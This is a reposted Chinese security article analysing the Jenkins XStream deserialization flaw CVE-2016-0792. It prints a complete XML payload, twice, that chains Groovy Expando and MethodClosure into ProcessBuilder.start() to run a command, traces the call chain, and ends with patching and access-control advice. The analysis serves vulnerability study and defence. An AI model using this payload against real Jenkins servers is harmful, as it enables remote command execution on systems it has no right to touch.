Jenkins之Java反序列化漏洞分析(CVE-2016-0792)

14569038039005.png!small

Jenkins近日修复了一个可通过低权限用户调用API服务致使的命令执行漏洞:低权限用户通过构造一个恶意的XML文档并发送至服务端接口,使服务端解析时调用API执行外部命令。

XStream是一个流行的反序列化库,许多主流应用程序,如IRA、Confluence、Bamboo,和Jenkins等中都使用了该库,另外,它还支持多个主流库,如Spring和Struts 2等。

漏洞利用

由于Jenkins将Groovy文件放在类目录中,因此可以借助XML文件来利用该漏洞。有很多应用都使用XStream库,并且将Groovy文件放在类目录中,研究人员可以仿照此方法在很多开源应用中发现同样的漏洞。

<map>
  <entry>
    <groovy.util.Expando>
      <expandoProperties>
        <entry>
          <string>hashCode</string>
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando" reference="../../../.."/>
            <owner class="java.lang.ProcessBuilder">
              <command>
                <string>open</string>
                <string>/Applications/Calculator.app</string>
              </command>
              <redirectErrorStream>false</redirectErrorStream>
            </owner>
            <resolveStrategy>0</resolveStrategy>
            <directive>0</directive>
            <parameterTypes/>
            <maximumNumberOfParameters>0</maximumNumberOfParameters>
            <method>start</method>
          </org.codehaus.groovy.runtime.MethodClosure>
        </entry>
      </expandoProperties>
    </groovy.util.Expando>
    <int>1</int>
  </entry>
</map>

下面来详细分析一下以上XML文件。

该XML文件的根节点是<map>。下列代码为XStream如何重建MapConverter.java文件中的map。
public Object unmarshal(...) {
Map map = (Map) createCollection(context.getRequiredType());
populateMap(reader, context, map);
return map;
}

因此<map>的默认类型为java.util.HashMap,并且使用用户提供的条目进行填充,这些条目是<map>的直接子元素,按顺序排列如下:

<map>
  <entry>
    <key1/>
    <value1/>
  </entry>
  <entry>
    <key2/>
    <value2/>
  </entry>
</map>

在XStream代码中的实现:
protected void populateMap(..., Map map) {
while (reader.hasMoreChildren()) {
reader.moveDown();
reader.moveDown();
Object key = readItem(reader, context, map);
reader.moveUp();
reader.moveDown();
Object value = readItem(reader, context, map);
reader.moveUp();
map.put(key, value);
reader.moveUp();
}
}

用户提供的“key”和“value”变量读入,并传入HashMap.So文件中的put()函数:
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key.hashCode());
...
}

作为Map#put()调用的一部分,XStream间接触发causingkey.hashCode()函数的调用,这就是漏洞利用的切入点。如果我们能够更改部分类型的hashCode()函数,那么就可以执行一些恶意的操作。

我们将目标定为groovy.util.Expando文件,其中包含一个有趣的hashCode()实现:
public int hashCode() {
Object method = getProperties().get("hashCode");
if (method != null && method instanceof Closure) {
// invoke overridden hashCode closure method
Closure closure = (Closure) method;
closure.setDelegate(this);
Integer ret = (Integer) closure.call();
return ret.intValue();
} else {
return super.hashCode();
}
}

以上代码的作用归结为:如果Expando文件中包含Closure类,并且该类可以计算出哈希值,那么就会调用Closure并返回它的输出值。我们要做的就是提供一个可以使用的Closure类。

因为Closure是抽象类,那么应该怎样定义其子类呢?我们可以定义MethodClosure类,一个可以调用任何类和方法的封装类。借此来调用java.lang.ProcessBuilder中的start()方法,来弹出一个计算器。调用的先后顺序为:

1、MapConverter#populateMap()calls HashMap#put()

2、HashMap#put()calls Expando#hashCode()

3、Expando#hashCode()calls MethodClosure#call()

4、MethodClosure#call()calls MethodClosure#doCall()

5、MethodClosure#doCall()calls InvokerHelper#invokeMethod()

6、InvokerHelper#invokeMethod()calls ProcessBuilder#start()

综合以上分析,我们可以得到完整的XML文件

<map>
  <!-- This Expando is our key in the root level Map -->
  <groovy.util.Expando> 
    <expandoProperties>
      <entry>
        <!-- This property tells Expando to call our method on hashCode() -->
        <string>hashCode</string>
          <!-- This MethodClosure will pop a calculator when called -->
          <org.codehaus.groovy.runtime.MethodClosure>
            <delegate class="groovy.util.Expando" reference="../../../.."/>
            <owner class="java.lang.ProcessBuilder">
            <command>
              <string>open</string>
              <string>/Applications/Calculator.app</string>
            </command>
            <redirectErrorStream>false</redirectErrorStream>
          </owner>
          <resolveStrategy>0</resolveStrategy>
          <directive>0</directive>
          <parameterTypes/>
          <maximumNumberOfParameters>0</maximumNumberOfParameters>
          <!-- This is the name of the method to invoke on ProcessBuilder -->
          <method>start</method>
        </org.codehaus.groovy.runtime.MethodClosure>
      </entry>
    </expandoProperties>
  </groovy.util.Expando>

  <!-- This integer is our value for the only key-value. Can be anything. -->
  <int>1</int>
</map>

 

缓解

这已经不是第一次曝光jenkins的Java反序列化问题了,由于XStream库使用广泛,该漏洞可能影响到多个产品,以下为对jenkins用户的安全建议:

1、Jenkins已经发布了该漏洞的补丁,建议用户更新至最新版本Jenkins 1.650及以上版本,并且尽量保证jenkins账号不为弱口令;

2、网络管理员应该对jenkins实行访问控制,并且放入内网对外网不开放,同时禁止jenkins的匿名访问权限。

 

原文地址:http://www.freebuf.com/vuls/97659.html  转载自FreeBuf黑客与极客

共有 1 条评论

  1. 网络运营

    博客的努力付出 感 谢

Top